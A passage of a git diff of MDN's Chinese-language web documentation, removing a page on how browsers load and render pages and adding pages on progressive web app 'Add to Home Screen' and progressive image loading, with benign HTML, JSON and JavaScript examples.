绘制可以将布局树中的元素分解为多个层。将内容提升到GPU上的层(而不是CPU上的主线程)可以提高绘制和重新绘制性能。有一些特定的属性和元素可以实例化一个层,包括<video>和<canvas>,任何CSS属性为opacity、3D转换、will-change的元素,还有一些其他元素。这些节点将与子节点一起绘制到它们自己的层上,除非子节点由于上述一个(或多个)原因需要自己的层。

+ +

层确实可以提高性能,但是它以内存管理为代价,因此不应作为web性能优化策略的一部分过度使用。

+ +

Compositing

+ +

当文档的各个部分以不同的层绘制,相互重叠时,必须进行合成,以确保它们以正确的顺序绘制到屏幕上,并正确显示内容。

+ +

当页面继续加载资产时,可能会发生回流(回想一下我们迟到的示例图像),回流会触发重新绘制和重新组合。如果我们定义了图像的大小,就不需要重新绘制,只需要重新绘制需要重新绘制的层,并在必要时进行合成。但我们没有包括图像大小!从服务器获取图像后,渲染过程将返回到布局步骤并从那里重新开始。

+ +

交互

+ +

一旦主线程绘制页面完成,你会认为我们已经“准备好了”,但事实并非如此。如果加载包含JavaScript(并且延迟到onload事件激发后执行),则主线程可能很忙,无法用于滚动、触摸和其他交互。

+ +

”Time to Interactive“(TTI)是测量从第一个请求导致DNS查找和SSL连接到页面可交互时所用的时间——可交互是”First Contentful Paint“之后的时间点,页面在50ms内响应用户的交互。如果主线程正在解析、编译和执行JavaScript,则它不可用,因此无法及时(小于50ms)响应用户交互。

+ +

在我们的示例中,可能图像加载很快,但anotherscript.js文件可能是2 MB,而且用户的网络连接很慢。在这种情况下,用户可以非常快地看到页面,但是在下载、解析和执行脚本之前,就无法滚动。这不是一个好的用户体验。避免占用主线程,如下面的WebPageTest示例所示:

+ +

The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection

+ +

在本例中,DOM内容加载过程花费了1.5秒多的时间,主线程在这段时间内完全被占用,对单击事件或屏幕点击没有响应。

+ +

See Also

+ + diff --git "a/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" "b/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" deleted file mode 100644 index 71e4bce57e..0000000000 --- "a/files/zh-cn/web/performance/\346\265\217\350\247\210\345\231\250\346\270\262\346\237\223\351\241\265\351\235\242\347\232\204\345\267\245\344\275\234\345\216\237\347\220\206/index.html" +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: 渲染页面:浏览器的工作原理 -slug: Web/Performance/浏览器渲染页面的工作原理 -translation_of: Web/Performance/How_browsers_work ---- -

页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

- -

了解如何提升性能和感知性能,有助于了解浏览器的工作原理。

- -

概述

- -

快速响应的网站提供更好的用户体验。用户期待内容快速加载和交互流畅的Web体验

- -

等待资源加载时间和大部分情况下的浏览器单线程执行是影响Web性能的两大主要原因。

- -

等待时间是需要去克服来让浏览器快速加载资源的主要威胁. 为了实现快速加载,开发者的目标就是尽可能快的发送请求的信息,至少看起来相当快。网络等待时间是在链路上传送二进制到电脑端所消耗的链路传输时间。 Web性能优化需要做的就是尽可能快的使页面加载完成。

- -

大部分情况下,浏览器是单线程执行的。为了有流畅的交互 ,开发者的目标是确保网站从流畅的页面滚动到点击响应的交互性能。渲染时间是关键要素,确保主线程可以完成所有给它的任务并且仍然一直可以处理用户的交互。通过了解浏览器单线程的本质与最小化主线程的责任可以优化Web性能,来确保渲染的流畅和交互响应的及时。

- -

导航

- -

导航是加载web页面的第一步。它发生在以下情形:用户通过在地址栏输入一个URL、点击一个链接、提交表单或者是其他的行为

- -

web性能优化的目标之一就是缩短导航完成所花费的时间,在理想情况下,它通常不会花费太多的时间,但是等待时间和带宽会导致它的延时。

- -

DNS 查找

- -

对于一个web页面来说导航的第一步是要去寻找页面资源的位置。如果导航到https://example.com, HTML页面 被定为到IP地址为 93.184.216.34 的服务器。如果以前没有访问过这个网站,就需要进行DNS查找。

- -

浏览器通过服务器名称请求DNS进行查找,最终返回一个IP地址,第一次初始化请求之后,这个IP地址可能会被缓存一段时间,这样可以通过从缓存里面检索IP地址而不是再通过域名服务器进行查找来加速后续的请求

- -

通过主机名加载一个页面通常仅需要DNS查找一次.。但是, DNS需要对不同的页面指向的主机名进行查找。如果fonts, images, scripts, ads, and metrics 都不同的主机名,DNS会对每一个进行查找。

- -

Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet

- -

DNS查找对于性能来说是一个问题,特别是对于移动网络。当一个用户用的是移动网络,每一个DNS查找必须从手机发送到信号塔,然后到达一个认证DNS服务器。手机、信号塔、域名服务器之间的距离可能是一个大的时间等待。

- -

TCP Handshake

- -

一旦获取到服务器IP地址,浏览器就会通过TCP”三次握手“与服务器建立连接。这个机制的是用来让两端尝试进行通信—浏览器和服务器在发送数据之前,通过上层协议Https可以协商网络TCP套接字连接的一些参数。

- -

TCP的”三次握手“技术经常被称为”SYN-SYN-ACK“—更确切的说是 SYN, SYN-ACK, ACK—因为通过TCP首先发送了三个消息进行协商,开始一个TCP会话在两台电脑之间。 是的,这意味着每台服务器之间还要来回发送三条消息,而请求尚未发出。

- -

TLS 协商

- -

为了在HTTPS上建立安全连接,另一种握手是必须的。更确切的说是TLS协商 ,它决定了什么密码将会被用来加密通信,验证服务器,在进行真实的数据传输之前建立安全连接。在发送真正的请求内容之前还需要三次往返服务器。

- -

The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client.

- -

虽然建立安全连接对增加了加载页面的等待时间,对于建立一个安全的连接来说,以增加等待时间为代价是值得的,因为在浏览器和web服务器之间传输的数据不可以被第三方解密。

- -

经过8次往返,浏览器终于可以发出请求。

- -

响应

- -

一旦我们建立了到web服务器的连接,浏览器就代表用户发送一个初始的HTTP GET请求,对于网站来说,这个请求通常是一个HTML文件。 一旦服务器收到请求,它将使用相关的响应头和HTML的内容进行回复。

- -
<!doctype HTML>
-<html>
- <head>
-  <meta charset="UTF-8"/>
-  <title>My simple page</title>
-  <link rel="stylesheet" src="styles.css"/>
-  <script src="myscript.js"></script>
-</head>
-<body>
-  <h1 class="heading">My Page</h1>
-  <p>A paragraph with a <a href="https://example.com/about">link</a></p>
-  <div>
-    <img src="myimage.jpg" alt="image description"/>
-  </div>
-  <script src="anotherscript.js"></script>
-</body>
-</html>
- -

初始请求的响应包含所接收数据的第一个字节。”Time to First Byte“ (TTFB)是用户通过点击链接进行请求与收到第一个HTML包之间的时间。第一块内容通常是14kb的数据。

- -

上面的例子中,这个请求肯定是小于14kb的,但是直到浏览器在解析阶段遇到链接时才会去请求链接的资源,下面有进行描述。

- -

TCP 慢开始 / 14kb 规则

- -

第一个响应包是14kb大小。这是慢开始的一部分,慢开始是一种均衡网络连接速度的算法。慢开始逐渐增加发送数据的数量直到达到网络的最大带宽。

- -

在"TCP slow start"中,在收到初始包之后, 服务器会将下一个包的大小加倍到大约28kb。 后续的包依次是前一个包大小的二倍直到达到预定的阈值,或者遇到拥塞。

- -

TCP slow start

- -

如果您听说过初始页面加载的14Kb规则,TCP慢开始就是初始响应为14Kb的原因,也是为什么web性能优化需要将此初始14Kb响应作为优化重点的原因。TCP慢开始逐渐建立适合网络能力的传输速度,以避免拥塞。

- -

拥塞控制

- -

当服务器用TCP包来发送数据时,客户端通过返回确认帧来确认传输。由于硬件和网络条件,连接的容量是有限的。 如果服务器太快地发送太多的包,它们可能会被丢弃。意味着,将不会有确认帧的返回。服务器把它们当做确认帧丢失。拥塞控制算法使用这个发送包和确认帧流来确定发送速率。

- -

解析

- -

一旦浏览器收到数据的第一块,它就可以开始解析收到的信息。“推测性解析”,“解析”是浏览器将通过网络接收的数据转换为DOM和CSSOM的步骤,通过渲染器把DOM和CSSOM在屏幕上绘制成页面。

- -

DOM是浏览器标记的内部表示。DOM也是被暴露的,可以通过JavaScript中的各种API进行DOM操作。

- -

即使请求页面的HTML大于初始的14KB数据包,浏览器也将开始解析并尝试根据其拥有的数据进行渲染。这就是为什么在前14Kb中包含浏览器开始渲染页面所需的所有内容,或者至少包含页面模板(第一次渲染所需的CSS和HTML)对于web性能优化来说是重要的。但是在渲染到屏幕上面之前,HTML、CSS、JavaScript必须被解析完成。

- -

构建DOM树

- -

我们描述五个步骤在这篇文章中 critical rendering path.

- -

第一步是处理HTML标记并构造DOM树。HTML解析涉及到 tokenization 和树的构造。HTML标记包括开始和结束标记,以及属性名和值。 如果文档格式良好,则解析它会简单而快速。解析器将标记化的输入解析到文档中,构建文档树。

- -

DOM树描述了文档的内容。<html>元素是第一个标签也是文档树的根节点。树反映了不同标记之间的关系和层次结构。嵌套在其他标记中的标记是子节点。DOM节点的数量越多,构建DOM树所需的时间就越长。

- -

The DOM tree for our sample code, showing all the nodes, including text nodes.

- -

当解析器发现非阻塞资源,例如一张图片,浏览器会请求这些资源并且继续解析。当遇到一个CSS文件时,解析也可以继续进行,但是对于<script>标签(特别是没有 async 或者 defer 属性)会阻塞渲染并停止HTML的解析。尽管浏览器的预加载扫描器加速了这个过程,但过多的脚本仍然是一个重要的瓶颈。

- -

预加载扫描器

- -

浏览器构建DOM树时,这个过程占用了主线程。当这种情况发生时,预加载扫描仪将解析可用的内容并请求高优先级资源,如CSS、JavaScript和web字体。多亏了预加载扫描器,我们不必等到解析器找到对外部资源的引用来请求它。它将在后台检索资源,以便在主HTML解析器到达请求的资源时,它们可能已经在运行,或者已经被下载。预加载扫描仪提供的优化减少了阻塞。

- -
<link rel="stylesheet" src="styles.css"/>
-<script src="myscript.js" async></script>
-<img src="myimage.jpg" alt="image description"/>
-<script src="anotherscript.js" async></script>
-
- -

在这个例子中,当主线程在解析HTML和CSS时,预加载扫描器将找到脚本和图像,并开始下载它们。为了确保脚本不会阻塞进程,当JavaScript解析和执行顺序不重要时,可以添加async属性或defer属性。

- -

等待获取CSS不会阻塞HTML的解析或者下载,但是它的确阻塞JavaScript,因为JavaScript经常用于查询元素的CSS属性。

- -

构建CSSOM树

- -

第二步是处理CSS并构建CSSOM树。CSS对象模型和DOM是相似的。DOM和CSSOM是两棵树. 它们是独立的数据结构。浏览器将CSS规则转换为可以理解和使用的样式映射。浏览器遍历CSS中的每个规则集,根据CSS选择器创建具有父、子和兄弟关系的节点树。

- -

与HTML一样,浏览器需要将接收到的CSS规则转换为可以使用的内容。因此,它重复了HTML到对象的过程,但对于CSS。

- -

CSSOM树包括来自用户代理样式表的样式。浏览器从适用于节点的最通用规则开始,并通过应用更具体的规则递归地优化计算的样式。换句话说,它级联属性值。

- -

构建CSSOM非常非常快,并且在当前的开发工具中没有以独特的颜色显示。相反,开发人员工具中的“重新计算样式”显示解析CSS、构造CSSOM树和递归计算计算样式所需的总时间。在web性能优化方面,它是可轻易实现的,因为创建CSSOM的总时间通常小于一次DNS查找所需的时间。

- -

其他过程

- -

JavaScript 编译

- -

当CSS被解析并创建CSSOM时,其他资源,包括JavaScript文件正在下载(多亏了preload scanner)。JavaScript被解释、编译、解析和执行。脚本被解析为抽象语法树。一些浏览器引擎使用”Abstract Syntax Tree“并将其传递到解释器中,输出在主线程上执行的字节码。这就是所谓的JavaScript编译。

- -

构建辅助功能树

- -

浏览器还构建辅助设备用于分析和解释内容的辅助功能(accessibility )树。可访问性对象模型(AOM)类似于DOM的语义版本。当DOM更新时,浏览器会更新辅助功能树。辅助技术本身无法修改可访问性树。

- -

在构建AOM之前,屏幕阅读器(screen readers)无法访问内容。

- -

渲染

- -

渲染步骤包括样式、布局、绘制,在某些情况下还包括合成。在解析步骤中创建的CSSOM树和DOM树组合成一个Render树,然后用于计算每个可见元素的布局,然后将其绘制到屏幕上。在某些情况下,可以将内容提升到它们自己的层并进行合成,通过在GPU而不是CPU上绘制屏幕的一部分来提高性能,从而释放主线程。

- -

Style

- -

第三步是将DOM和CSSOM组合成一个Render树,计算样式树或渲染树从DOM树的根开始构建,遍历每个可见节点。

- -

像<head>和它的子节点以及任何具有display: none样式的结点,例如script { display: none; }(在user agent stylesheets可以看到这个样式)这些标签将不会显示,也就是它们不会出现在Render树上。具有visibility: hidden的节点会出现在Render树上,因为它们会占用空间。由于我们没有给出任何指令来覆盖用户代理默认值,因此上面代码示例中的script节点将不会包含在Render树中。

- -

每个可见节点都应用了其CSSOM规则。Render树保存所有具有内容和计算样式的可见节点——将所有相关样式匹配到DOM树中的每个可见节点,并根据CSS级联确定每个节点的计算样式。

- -

Layout

- -

第四步是在渲染树上运行布局以计算每个节点的几何体。布局是确定呈现树中所有节点的宽度、高度和位置,以及确定页面上每个对象的大小和位置的过程。回流是对页面的任何部分或整个文档的任何后续大小和位置的确定。

- -

构建渲染树后,开始布局。渲染树标识显示哪些节点(即使不可见)及其计算样式,但不标识每个节点的尺寸或位置。为了确定每个对象的确切大小和位置,浏览器从渲染树的根开始遍历它。

- -

在网页上,大多数东西都是一个盒子。不同的设备和不同的桌面意味着无限数量的不同的视区大小。在此阶段,考虑到视区大小,浏览器将确定屏幕上所有不同框的尺寸。以视区的大小为基础,布局通常从body开始,用每个元素的框模型属性排列所有body的子孙元素的尺寸,为不知道其尺寸的替换元素(例如图像)提供占位符空间。

- -

第一次确定节点的大小和位置称为布局。随后对节点大小和位置的重新计算称为回流。在我们的示例中,假设初始布局发生在返回图像之前。由于我们没有声明图像的大小,因此一旦知道图像大小,就会有回流。

- -

Paint

- -

最后一步是将各个节点绘制到屏幕上,第一次出现的节点称为first meaningful paint。在绘制或光栅化阶段,浏览器将在布局阶段计算的每个框转换为屏幕上的实际像素。绘画包括将元素的每个可视部分绘制到屏幕上,包括文本、颜色、边框、阴影和替换的元素(如按钮和图像)。浏览器需要非常快地完成这项工作。

- -

为了确保平滑滚动和动画,占据主线程的所有内容,包括计算样式,以及回流和绘制,必须让浏览器在16.67毫秒内完成。在2048x 1536,iPad有超过314.5万像素将被绘制到屏幕上。那是很多像素需要快速绘制。为了确保重绘的速度比初始绘制的速度更快,屏幕上的绘图通常被分解成数层。如果发生这种情况,则需要进行合成。

- -

绘制可以将布局树中的元素分解为多个层。将内容提升到GPU上的层(而不是CPU上的主线程)可以提高绘制和重新绘制性能。有一些特定的属性和元素可以实例化一个层,包括<video>和<canvas>,任何CSS属性为opacity、3D转换、will-change的元素,还有一些其他元素。这些节点将与子节点一起绘制到它们自己的层上,除非子节点由于上述一个(或多个)原因需要自己的层。

- -

层确实可以提高性能,但是它以内存管理为代价,因此不应作为web性能优化策略的一部分过度使用。

- -

Compositing

- -

当文档的各个部分以不同的层绘制,相互重叠时,必须进行合成,以确保它们以正确的顺序绘制到屏幕上,并正确显示内容。

- -

当页面继续加载资产时,可能会发生回流(回想一下我们迟到的示例图像),回流会触发重新绘制和重新组合。如果我们定义了图像的大小,就不需要重新绘制,只需要重新绘制需要重新绘制的层,并在必要时进行合成。但我们没有包括图像大小!从服务器获取图像后,渲染过程将返回到布局步骤并从那里重新开始。

- -

交互

- -

一旦主线程绘制页面完成,你会认为我们已经“准备好了”,但事实并非如此。如果加载包含JavaScript(并且延迟到onload事件激发后执行),则主线程可能很忙,无法用于滚动、触摸和其他交互。

- -

”Time to Interactive“(TTI)是测量从第一个请求导致DNS查找和SSL连接到页面可交互时所用的时间——可交互是”First Contentful Paint“之后的时间点,页面在50ms内响应用户的交互。如果主线程正在解析、编译和执行JavaScript,则它不可用,因此无法及时(小于50ms)响应用户交互。

- -

在我们的示例中,可能图像加载很快,但anotherscript.js文件可能是2 MB,而且用户的网络连接很慢。在这种情况下,用户可以非常快地看到页面,但是在下载、解析和执行脚本之前,就无法滚动。这不是一个好的用户体验。避免占用主线程,如下面的WebPageTest示例所示:

- -

The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection

- -

在本例中,DOM内容加载过程花费了1.5秒多的时间,主线程在这段时间内完全被占用,对单击事件或屏幕点击没有响应。

- -

See Also

- - diff --git a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html new file mode 100644 index 0000000000..a0915ea9d2 --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html @@ -0,0 +1,218 @@ +--- +title: 添加到主屏幕 +slug: Web/Progressive_web_apps/添加到主屏幕 +tags: + - PWA + - 图标 + - 服务进程 + - 添加到主屏幕 + - 清单 + - 渐进式Web应用 +translation_of: Web/Progressive_web_apps/Add_to_home_screen +--- +

添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

+ +

为什么选择A2HS?

+ +

A2HS被认为是渐进式Web应用程序哲学的一部分—为Web应用程序提供与原生应用程序相同的用户体验优势,因此它们可以在当今的生态系统战争中竞争。这部分是通过访问主屏幕上的应用程序图标来访问应用程序,然后将其整齐地显示在自己的窗口中的简单手势。A2HS使这成为可能。

+ +

哪些浏览器支持A2HS?

+ +

Mobile Chrome / Android Webview 从31版开始支持A2HS,Opera for Android从32版开始支持,Firefox for Android从58版开始支持。

+ +

如何使用?

+ +

我们已经编写了一个非常简单的示例网站(观看我们的在线演示,并查看源代码),该网站虽然功能不多,但是开发时使用了必要的代码,也可以将其添加到主屏幕中,并且service worker使其可以脱机使用。这个示例展示了一系列的狐狸图片。

+ +

如果您有适用于Android的Firefox,使用它导航到我们的示例:https://mdn.github.io/pwa-examples/a2hs/。你将会看到狐狸图片,但更重要的是,你将会看到一个带有加号(+)的“主页”图标—这是为具有必要功能的任何站点显示的“添加到主屏幕”图标。

+ +

+ +

点击此按钮将显示一个确认横幅—按下大“+ 添加到主屏幕”按钮即可完成操作,将应用添加到主屏幕。(注意:在Android 8及更高版本中,将首先显示系统级的“添加到主屏幕”权限对话框。)

+ +

+ +

如果您可以使用Mobile Chrome,则体验会略有不同;加载我们的网站后,您会看到一个弹出安装横幅,询问您是否要将此应用添加到主屏幕。

+ +

+ +
+

注意:您可以在“Web App安装横幅”一文中找到有关Chrome安装横幅的更多信息。

+
+ +

如果您选择不将其添加到主屏幕,则可以稍后使用Chrome主菜单中的添加到主屏幕图标添加。

+ +

无论使用哪种浏览器,当您选择将应用程序添加到主屏幕时,您都会看到它与短标题一起出现,就像原生应用程序一样。

+ +

+ +

点按此图标可以将其打开,但是作为全屏应用程序,您将不再看到其周围的浏览器用户界面。

+ +

如何使应用程序支持A2HS?

+ +

要将您的应用添加到主屏幕,它需要满足以下条件:

+ +
    +
  • 应用通过HTTPs提供服务—Web正朝着更加安全的方向发展,许多现代web技术(包括A2HS)将仅工作在安全的环境中。
  • +
  • 从HTML头链接具有正确字段的manifest文件。
  • +
  • 有合适的图标可显示在主屏幕上。
  • +
  • Chrome浏览器还要求该应用程序注册一个service worker(例如,使其在离线状态下可以运行)。
  • +
+ +

Manifest

+ +

web manifest 以标准JSON格式编写,应放置在应用程序目录中的某个位置(最好是在根目录中),名称为somefilename.webmanifest(我们选择 manifest.webmanifest)。它包含多个字段,这些字段定义有关Web应用程序及其行为的某些信息。

+ +
+

注意:.webmanifest扩展名是在规范的“媒体类型注册”部分中指定的,但通常浏览器将支持带有其他适当扩展名的清单,例如:.json。

+
+ +

A2HS所需的字段如下:

+ +
    +
  • background_color:指定在某些应用程序上下文中使用的背景色。与A2HS最相关的一个是在点击主屏幕上的应用程序图标并首次开始加载时显示的初始屏幕(当前仅在通过Chrome将应用添加到主屏幕时显示)。
  • +
  • display:指定应如何显示应用。 为了使它看起来像一个独特的应用程序(而不仅仅是网页),您应该选择一个值,例如fullscreen(根本不显示任何UI)或独立standalone(非常相似,但是系统级UI元素(例如状态栏)可能是可见的)。
  • +
  • icons:指定在不同位置(例如,在任务切换器上或更重要的是在主屏幕上)表示应用程序时浏览器使用的图标。 我们的演示中仅包含一个。
  • +
  • name/short_name:这些字段提供了在不同位置表示应用程序时要显示的应用程序名称。name提供完整的应用名称。short_name当没有足够的空间显示全名时,提供一个缩写名称。如果您的应用程序名称特别长,建议您同时提供两者。
  • +
  • start_url:提供启动添加到主屏幕应用程序时应加载的资源的路径。请注意,这必须是一个真相网站主页的相对路径,相对于 manifest的url。 另外,请注意,Chrome在显示安装标语之前需要这样做,而Firefox在显示“含+号的home”图标时并不需要它。
  • +
+ +

我们的示例应用程序的manifest如下所示:

+ +
{
+  "background_color": "purple",
+  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+  "display": "fullscreen",
+  "icons": [
+    {
+      "src": "icon/fox-icon.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "name": "Awesome fox pictures",
+  "short_name": "Foxes",
+  "start_url": "/pwa-examples/a2hs/index.html"
+}
+ +

合适的图标

+ +

如以上manifest所示,我们包括一个192 x 192像素的图标,供我们的应用使用。您可以根据需要添加更多尺寸;Android将为每个不同的用例选择最合适的尺寸。您还可以决定添加不同类型的图标,以便设备可以使用他们能够使用的最佳图标(例如,Chrome已经支持WebP格式).

+ +

请注意,每个图标对象中的 type 成员都指定了该图标的mimetype,因此浏览器可以快速读取该图标的类型,然后将其忽略,并在不支持该图标时采用其他图标。

+ +

在设计图标方面,您应该遵循与任何Android图标相同的最佳做法(请参阅Android图标设计指南)。

+ +

将HTML链接到manifest

+ +

要完成manifest的设置,您需要从应用程序主页的 HTML 中引用它:

+ +
<link rel="manifest" href="manifest.webmanifest">
+ +

一旦支持 manifest,支持 A2HS 的浏览器就会知道在哪里查找它。

+ +

A2HS没有给你什么?

+ +

请记住,将应用程序添加到主屏幕时,它只会使该应用程序易于访问—不会将应用程序的资产和数据下载到您的设备上,也不会使该应用程序脱机使用或类似的操作。 为了使你的应用离线运行,你必须使用Service Worker API来离线存储资源,如果需要,还可以使用 Web storage 或 IndexedDB 来存储其数据。

+ +

在示例应用程序中,我们仅使用了一个service worker来存储所有必需的文件。service worker使用index.js 文件中的最终的代码块在网站上注册。然后,我们使用 Cache API 缓存网站的所有资产,并使用 sw.js 文件中的代码从缓存而不是网络中为它们提供服务。

+ +

桌面上的A2HS

+ +

虽然最初旨在改善移动操作系统上的用户体验,但人们也提出了使PWA也可以安装在桌面平台上的趋势。

+ +
+

注意:在撰写本文时,仅在较新版本的Chrome(在Windows中默认情况下,在macOS上的#enable-desktop-pwas标志开启后)中支持以下功能。

+
+ +

添加安装按钮

+ +

为了使PWA可在桌面上安装,我们首先在文档中添加了一个按钮,以允许用户进行安装—桌面应用程序不会自动提供此按钮,并且需要通过用户手势来触发安装:

+ +
<button class="add-button">Add to home screen</button>
+ +

然后,我们给它一些简单的样式:

+ +
.add-button {
+  position: absolute;
+  top: 1px;
+  left: 1px;
+}
+ +

用于处理安装的JavaScript

+ +

index.js文件的底部,我们添加了一些JavaScript来处理安装。首先,我们声明一个deferredPrompt变量(我们将在后面解释),获得对安装按钮的引用,并初始设置为display: none

+ +
let deferredPrompt;
+const addBtn = document.querySelector('.add-button');
+addBtn.style.display = 'none';
+ +

我们最初隐藏该按钮是因为PWA必须遵循A2HS标准才能安装。发生这种情况时,支持的浏览器将触发beforeinstallprompt事件。 然后,我们可以使用以下处理程序来处理安装:

+ +
window.addEventListener('beforeinstallprompt', (e) => {
+  // Prevent Chrome 67 and earlier from automatically showing the prompt
+  e.preventDefault();
+  // Stash the event so it can be triggered later.
+  deferredPrompt = e;
+  // Update UI to notify the user they can add to home screen
+  addBtn.style.display = 'block';
+
+  addBtn.addEventListener('click', (e) => {
+    // hide our user interface that shows our A2HS button
+    addBtn.style.display = 'none';
+    // Show the prompt
+    deferredPrompt.prompt();
+    // Wait for the user to respond to the prompt
+    deferredPrompt.userChoice.then((choiceResult) => {
+        if (choiceResult.outcome === 'accepted') {
+          console.log('User accepted the A2HS prompt');
+        } else {
+          console.log('User dismissed the A2HS prompt');
+        }
+        deferredPrompt = null;
+      });
+  });
+});
+ +

所以我们在这里:

+ +
    +
  • 调用{{domxref("Event.preventDefault()")}}以停止Chrome 67及更早版本自动调用安装提示(此行为在Chrome 68中已更改)。
  • +
  • 将事件对象存储在deferredPrompt变量中,以便以后可以用于执行实际安装。
  • +
  • 将按钮设置为display: block,以便它出现在UI中供用户点击。
  • +
  • 设置按钮的click处理程序。
  • +
+ +

点击处理程序包含以下步骤:

+ +
    +
  • 通过display: none再次隐藏按钮—安装应用程序后将不再需要它。
  • +
  • 使用beforeinstallprompt事件对象(存储在deferredPrompt中)上可用的prompt()方法触发显示安装提示。
  • +
  • 使用userChoice属性响应用户与提示的交互,该属性再次在beforeinstallprompt事件对象上可用。
  • +
  • deferredPrompt设置为null,因为不再需要它。
  • +
+ +

So when the button is clicked, the install prompt appears.

+ +

+ +

如果用户选择安装,则将安装该应用程序(可作为独立的桌面应用程序使用),并且不再显示“安装”按钮(如果已经安装了该应用程序,则将不再触发onbeforeinstallprompt事件)。当您打开应用程序时,它将显示在其自己的窗口中:

+ +

+ +

如果用户选择“取消”,则应用程序的状态将返回到单击按钮之前的状态。

+ +
+

注意:本部分的代码主要来自Pete LaPage的应用安装横幅/添加到主屏幕

+
+ +

其他

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/zh-cn/web/progressive_web_apps/loading/index.html b/files/zh-cn/web/progressive_web_apps/loading/index.html new file mode 100644 index 0000000000..7f45a3c278 --- /dev/null +++ b/files/zh-cn/web/progressive_web_apps/loading/index.html @@ -0,0 +1,152 @@ +--- +title: 渐进式加载 +slug: Web/Progressive_web_apps/加载 +tags: + - PWA + - 渐进式加载 +translation_of: Web/Progressive_web_apps/Loading +--- +
{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
+ +

在前面的文章我们介绍了很多api,例如:Service Workers, Web Manifests, Notifications and Push,它让我们的示例应用 js13kPWA 成为一个渐进式web应用。在这篇文章里我们将会走得更远,我们会使用资源渐进式加载来提高整个应用的性能。

+ +

首次有效渲染

+ +

尽快把有效的信息输送给用户是一件非常重要的事情 —— 等待页面加载的时间越长,用户在页面加载完成之前离开的概率就越大。为了达到这个目的,网页加载完成前,我们应该用占位符在最终资源将会加载的地方展示最起码的视图骨架。

+ +

这个功能可以用渐进式加载来实现 —— 它也被称为 懒加载。它的做法是延迟加载尽可能多的资源(HTML, CSS, JavaScript),只有在用户第一次使用到它的时候,它才会被立刻加载。

+ +

打包还是拆分

+ +

大部分的用户不会用到一个网站的所有页面,但我们通常的做法却是把我们所有的功能都打包进一个很大的文件里面。一个 bundle.js 文件的大小可能会有几个M,一个打包后的style.css 会包含一切东西,从CSS结构定义到各个版本的网站的样式:移动端,平板,桌面,打印等等。

+ +

通常来说只加载一个打包后大的文件会比加载很多个小文件要快一些,但如果用户并不是一开始就需要所有的资源,我们就可以首先加载那些关键的资源,其他的等到我们需要的时候,我们再去加载它。

+ +

导致页面阻塞的资源(Render-blocking resources)

+ +

将所有文件打包是一种不好的做法,因为浏览器把计算结果渲染到屏幕之前,需要先把HTML,CSS和JavaScript下载下来。在页面被打开到页面加载完成的这段时间里,用户将会看到一个空白的页面,这无疑是一个非常糟糕的体验。

+ +

为了解决这个问题,举个例子,我们可以在script标签上面加上一个 defer

+ +
<script src="app.js" defer></script>
+
+ +

他们会等到文档解析完成之后再开始下载和执行,所以他们不会阻塞HTML页面的渲染。我们还可以拆分css文件并给它们加上media属性:

+ +
<link rel="stylesheet" href="style.css">
+<link rel="stylesheet" href="print.css" media="print">
+
+ +

 这种做法告诉浏览器只有在条件满足的情况下才加载这些资源(例如指定了print,则在打印环境下才会加载这些资源,译者注)。

+ +

在我们这个js13kPWA应用里面,由于CSS非常的简单,因此所有样式都被放到一个文件里面,并没有具体的规则来指导它如何加载css。但我们可以做得更好,例如把 style.css 里面的所有内容移动到一个 <style> 标签里面,并把它放到 index.html  的 <head> 的里面。这样做可以进一步提高应用的性能,但为了使代码更具可读性,我们并没有选择这么做。

+ +

图片

+ +

除了JavaScript和CSS,网站通常还会包含大量的图片。当你把{{htmlelement("img")}}元素添加到网站里面时,对应的所有图片资源都会在页面初始化时被下载下来。在网站就绪之前下载几个兆的图片资源是一种比较常见的状况,但它会再次给人一种性能不好的印象。我们并不需要在一打开网站的时候就以最高的画质呈现所有的图片。

+ +

这是可以优化的。首先,你可以使用类似TinyPNG这类工具或者服务,它可以在不过分降低画质的情况下压缩文件的大小。如果你已经做到了这一点,那你可以考虑一下如何通过JavaScript来优化图片的下载了,我们将会在下面的篇幅提到这些内容。

+ +

图片占位符

+ +

我们可以通过使用JavaScript有选择的加载图片,而不是把所有的游戏截图都放到 <img> 标签的 src 属性里面,因为那样浏览器会自动下载所有的图片。 js13kPWA示例在图片最终加载之前会将图片的最终路径存放到 data-src 中,在这个阶段,应用会使用图片占位符来代替真正的图片,它体积更小更轻量级(加载也更快,译者注)。

+ +
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
+
+ +

这些图片会在网站构建完HTML主体框架之后通过JavaScript进行加载。图片占位符被缩放到和真正的图片一样大小,所以它会占据同样的空间,并且在真正的图片完成加载后不会导致页面重绘。

+ +

通过JavaScript进行加载

+ +

app.js 这个文件处理 data-src 属性的过程如下所示:

+ +
let imagesToLoad = document.querySelectorAll('img[data-src]');
+const loadImages = (image) => {
+  image.setAttribute('src', image.getAttribute('data-src'));
+  image.onload = () => {
+    image.removeAttribute('data-src');
+  };
+};
+ +

